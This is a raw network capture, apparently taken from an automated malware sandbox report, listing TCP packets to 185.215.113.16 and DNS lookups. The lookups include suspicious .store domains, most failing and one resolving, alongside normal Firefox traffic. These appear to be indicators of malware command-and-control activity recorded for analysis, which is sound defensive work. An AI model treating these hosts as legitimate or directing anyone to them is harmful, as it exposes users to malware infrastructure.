Oct 30, 2024 21:56:35.863502979 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863503933 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863516092 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863527060 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863535881 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863539934 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863552094 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863563061 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863565922 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863575935 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863580942 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863610029 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863620996 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863632917 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863645077 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863662004 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863671064 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863677025 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863692999 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863698006 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863708019 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863712072 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863724947 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863735914 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863745928 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863748074 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863758087 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863771915 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863775015 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863786936 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863795042 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863797903 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863811970 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863821983 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863826036 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863837004 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863847017 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863857985 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863858938 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863871098 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863883018 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863890886 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863894939 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863926888 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.864267111 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864279032 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864289999 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864315987 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.864343882 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.864352942 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864363909 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864375114 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864387035 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864398956 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864399910 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.864418983 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864428043 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.864432096 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864461899 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.864475012 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864487886 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864497900 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864510059 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864512920 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.864526033 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864537001 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864540100 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.864550114 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864564896 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.864600897 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.864788055 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864804983 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864816904 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864828110 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864840031 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864840031 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.864851952 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864864111 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864871979 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.864876986 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864888906 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864888906 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.864901066 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864913940 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864924908 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864933014 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.864937067 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864952087 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864953995 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.864965916 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864976883 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864989996 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.864993095 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.865012884 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.865226984 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.865268946 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.865276098 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.865288973 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.865370035 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.865381956 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.865394115 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.865406036 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.865437031 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.921247959 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:36.012891054 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.012911081 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.012933016 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.012944937 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.012958050 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.012963057 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:36.012972116 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.012990952 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.013001919 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:36.013005018 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.013014078 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:36.013022900 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.013035059 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.013046980 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.013051033 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:36.013058901 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.013075113 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.013079882 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:36.013087988 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.013097048 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:36.013101101 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.013115883 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.013125896 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:36.013129950 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.013149977 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:36.013384104 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.013402939 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.013416052 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.013428926 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.013441086 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:36.013452053 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:36.013454914 CET	80	50247	185.215.113.16	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 21:55:07.249466896 CET	192.168.2.5	1.1.1.1	0xa13b	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:55:07.266412973 CET	192.168.2.5	1.1.1.1	0xb851	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:55:07.280283928 CET	192.168.2.5	1.1.1.1	0x65f6	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:55:07.294207096 CET	192.168.2.5	1.1.1.1	0xf3b8	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:55:07.306967974 CET	192.168.2.5	1.1.1.1	0xcb47	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:17.317609072 CET	192.168.2.5	1.1.1.1	0x434	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:17.333820105 CET	192.168.2.5	1.1.1.1	0xf4f1	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:17.348583937 CET	192.168.2.5	1.1.1.1	0x6832	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:17.361443996 CET	192.168.2.5	1.1.1.1	0xe4d7	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:29.283392906 CET	192.168.2.5	1.1.1.1	0x10a0	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:29.298746109 CET	192.168.2.5	1.1.1.1	0xa217	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:29.314004898 CET	192.168.2.5	1.1.1.1	0x1f74	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:29.330781937 CET	192.168.2.5	1.1.1.1	0x4be3	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:39.571887970 CET	192.168.2.5	1.1.1.1	0xd4b9	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:39.586587906 CET	192.168.2.5	1.1.1.1	0x7f20	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:39.606940031 CET	192.168.2.5	1.1.1.1	0x51d9	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:39.628101110 CET	192.168.2.5	1.1.1.1	0x7340	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:41.157104969 CET	192.168.2.5	1.1.1.1	0x10b2	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:41.178260088 CET	192.168.2.5	1.1.1.1	0x72b1	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 21:56:42.155410051 CET	192.168.2.5	1.1.1.1	0x2bf4	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:42.165919065 CET	192.168.2.5	1.1.1.1	0xf164	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:42.175915003 CET	192.168.2.5	1.1.1.1	0xad8a	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 30, 2024 21:56:43.343214035 CET	192.168.2.5	1.1.1.1	0x7a74	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:43.403781891 CET	192.168.2.5	1.1.1.1	0x8c3f	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:43.428646088 CET	192.168.2.5	1.1.1.1	0x4f37	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 21:56:44.956423998 CET	192.168.2.5	1.1.1.1	0x106f	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:44.971719027 CET	192.168.2.5	1.1.1.1	0x30b7	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:45.400330067 CET	192.168.2.5	1.1.1.1	0xc024	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:45.401235104 CET	192.168.2.5	1.1.1.1	0x6568	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:45.431087971 CET	192.168.2.5	1.1.1.1	0x1f63	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:45.431819916 CET	192.168.2.5	1.1.1.1	0x5578	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:45.450876951 CET	192.168.2.5	1.1.1.1	0xd1c2	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:45.472852945 CET	192.168.2.5	1.1.1.1	0x8458	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 21:56:45.475898027 CET	192.168.2.5	1.1.1.1	0xa3c5	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 21:56:45.476212025 CET	192.168.2.5	1.1.1.1	0x61b7	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:45.498970985 CET	192.168.2.5	1.1.1.1	0xf082	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 21:56:49.169455051 CET	192.168.2.5	1.1.1.1	0x8d89	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:49.191493034 CET	192.168.2.5	1.1.1.1	0xc310	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:49.203478098 CET	192.168.2.5	1.1.1.1	0x1778	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:49.218718052 CET	192.168.2.5	1.1.1.1	0xfc5	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 21:57:02.425730944 CET	192.168.2.5	1.1.1.1	0x600	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 21:57:02.684391975 CET	192.168.2.5	1.1.1.1	0xcde2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:02.856694937 CET	192.168.2.5	1.1.1.1	0x2993	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 21:57:02.939132929 CET	192.168.2.5	1.1.1.1	0x24c2	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 21:57:03.000160933 CET	192.168.2.5	1.1.1.1	0x8d48	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 21:57:03.169696093 CET	192.168.2.5	1.1.1.1	0xdc5f	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:03.183331966 CET	192.168.2.5	1.1.1.1	0x3d3a	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:03.193342924 CET	192.168.2.5	1.1.1.1	0xaff4	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 21:57:03.824182987 CET	192.168.2.5	1.1.1.1	0x1973	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:03.828922987 CET	192.168.2.5	1.1.1.1	0xed64	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:03.886382103 CET	192.168.2.5	1.1.1.1	0xfe69	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:03.886533022 CET	192.168.2.5	1.1.1.1	0x621b	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:03.950068951 CET	192.168.2.5	1.1.1.1	0x1d3e	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 21:57:03.950227022 CET	192.168.2.5	1.1.1.1	0xbe1c	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 21:57:06.190347910 CET	192.168.2.5	1.1.1.1	0x4efa	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.190407991 CET	192.168.2.5	1.1.1.1	0x7bf2	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.190629959 CET	192.168.2.5	1.1.1.1	0x882b	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.199749947 CET	192.168.2.5	1.1.1.1	0x9df4	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.202095985 CET	192.168.2.5	1.1.1.1	0x3410	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.203772068 CET	192.168.2.5	1.1.1.1	0x5efc	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.226177931 CET	192.168.2.5	1.1.1.1	0x609a	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Oct 30, 2024 21:57:06.235553980 CET	192.168.2.5	1.1.1.1	0x483e	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Oct 30, 2024 21:57:06.235594034 CET	192.168.2.5	1.1.1.1	0x5efc	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.236187935 CET	192.168.2.5	1.1.1.1	0xe60c	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Oct 30, 2024 21:57:06.250456095 CET	192.168.2.5	1.1.1.1	0xb4d7	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.251225948 CET	192.168.2.5	1.1.1.1	0x95c0	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.267110109 CET	192.168.2.5	1.1.1.1	0x8d62	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.267499924 CET	192.168.2.5	1.1.1.1	0xee81	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.277075052 CET	192.168.2.5	1.1.1.1	0x4667	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Oct 30, 2024 21:57:06.282468081 CET	192.168.2.5	1.1.1.1	0xb08b	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 30, 2024 21:57:06.597392082 CET	192.168.2.5	1.1.1.1	0x7baa	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.607377052 CET	192.168.2.5	1.1.1.1	0x5861	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:06.617378950 CET	192.168.2.5	1.1.1.1	0xb352	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 21:57:08.852663994 CET	192.168.2.5	1.1.1.1	0x849e	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 21:57:29.217173100 CET	192.168.2.5	1.1.1.1	0x47fe	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 21:57:29.221544027 CET	192.168.2.5	1.1.1.1	0x5257	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 30, 2024 21:57:29.273551941 CET	192.168.2.5	1.1.1.1	0x387a	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 21:57:29.295957088 CET	192.168.2.5	1.1.1.1	0x5663	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 21:57:29.338741064 CET	192.168.2.5	1.1.1.1	0xb92	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:29.356584072 CET	192.168.2.5	1.1.1.1	0xb92	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:29.372697115 CET	192.168.2.5	1.1.1.1	0xe29b	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 21:57:29.436058044 CET	192.168.2.5	1.1.1.1	0xa384	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:29.502971888 CET	192.168.2.5	1.1.1.1	0x2b67	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:57:29.519087076 CET	192.168.2.5	1.1.1.1	0xd542	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 21:57:29.519288063 CET	192.168.2.5	1.1.1.1	0x6e5e	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 21:57:29.519818068 CET	192.168.2.5	1.1.1.1	0x8dc2	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 21:55:07.261706114 CET	1.1.1.1	192.168.2.5	0xa13b	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:55:07.277456999 CET	1.1.1.1	192.168.2.5	0xb851	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:55:07.290977955 CET	1.1.1.1	192.168.2.5	0x65f6	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:55:07.304778099 CET	1.1.1.1	192.168.2.5	0xf3b8	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:55:07.321156025 CET	1.1.1.1	192.168.2.5	0xcb47	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:55:07.321156025 CET	1.1.1.1	192.168.2.5	0xcb47	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:17.329323053 CET	1.1.1.1	192.168.2.5	0x434	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:17.344836950 CET	1.1.1.1	192.168.2.5	0xf4f1	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:17.360074043 CET	1.1.1.1	192.168.2.5	0x6832	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:17.371723890 CET	1.1.1.1	192.168.2.5	0xe4d7	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:29.294051886 CET	1.1.1.1	192.168.2.5	0x10a0	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:29.310288906 CET	1.1.1.1	192.168.2.5	0xa217	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:29.325892925 CET	1.1.1.1	192.168.2.5	0x1f74	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:29.341660976 CET	1.1.1.1	192.168.2.5	0x4be3	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:39.582870960 CET	1.1.1.1	192.168.2.5	0xd4b9	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:39.599196911 CET	1.1.1.1	192.168.2.5	0x7f20	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:39.618622065 CET	1.1.1.1	192.168.2.5	0x51d9	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:39.646677971 CET	1.1.1.1	192.168.2.5	0x7340	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:41.152200937 CET	1.1.1.1	192.168.2.5	0xe879	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 30, 2024 21:56:41.173497915 CET	1.1.1.1	192.168.2.5	0x10b2	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
